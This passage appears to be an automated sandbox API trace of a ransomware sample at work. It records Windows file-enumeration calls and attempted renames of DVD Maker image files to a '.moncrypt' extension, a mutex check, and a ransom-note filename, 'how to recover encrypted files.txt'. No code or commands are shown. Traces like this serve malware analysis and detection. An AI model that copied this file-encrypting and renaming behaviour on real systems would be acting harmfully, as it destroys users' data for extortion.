lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Rectangles\\NavigationRight_SelectionSubpicture.pngs", lpUsedDefaultChar=0x0) returned 4 [0058.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.309] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.309] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.309] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.309] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.310] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0058.310] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.310] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.310] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.310] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.310] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.310] GlobalUnlock (hMem=0x440004) returned 0 [0058.310] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.310] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.310] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.310] GlobalUnlock (hMem=0x440004) returned 0 [0058.310] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.310] GlobalUnlock (hMem=0x44000c) returned 0 [0058.310] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.311] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png", cchWideChar=85, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 85 [0058.312] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Rectangles\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.312] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.312] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.312] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.312] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.313] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0058.313] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.313] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.313] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.313] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.313] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.313] GlobalUnlock (hMem=0x44000c) returned 0 [0058.313] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.313] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.313] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.313] GlobalUnlock (hMem=0x44000c) returned 0 [0058.313] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.313] GlobalUnlock (hMem=0x440004) returned 0 [0058.313] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.314] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0058.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.314] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.314] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.314] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.314] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.315] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.315] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0058.315] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.316] GlobalLock (hMem=0x440004) returned 0x550170 [0058.316] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.316] GlobalUnlock (hMem=0x440004) returned 0 [0058.316] GlobalLock (hMem=0x440004) returned 0x550170 [0058.316] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.316] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.316] GlobalUnlock (hMem=0x440004) returned 0 [0058.316] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.316] GlobalUnlock (hMem=0x44000c) returned 0 [0058.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43ef0980, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43ef0980, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.316] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.316] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.316] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.316] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.316] GlobalUnlock (hMem=0x44000c) returned 0 [0058.316] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.316] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.316] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.316] GlobalUnlock (hMem=0x44000c) returned 0 [0058.316] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.316] GlobalUnlock (hMem=0x440004) returned 0 [0058.316] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.316] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43ef0980, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43ef0980, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.317] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.317] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.317] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.317] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.317] GlobalUnlock (hMem=0x440004) returned 0 [0058.317] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.317] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.317] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.317] GlobalUnlock (hMem=0x440004) returned 0 [0058.317] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.317] GlobalUnlock (hMem=0x44000c) returned 0 [0058.317] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.317] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.317] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.317] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.317] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.317] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.317] GlobalUnlock (hMem=0x44000c) returned 0 [0058.317] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.317] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.317] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.317] GlobalUnlock (hMem=0x44000c) returned 0 [0058.317] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.317] GlobalUnlock 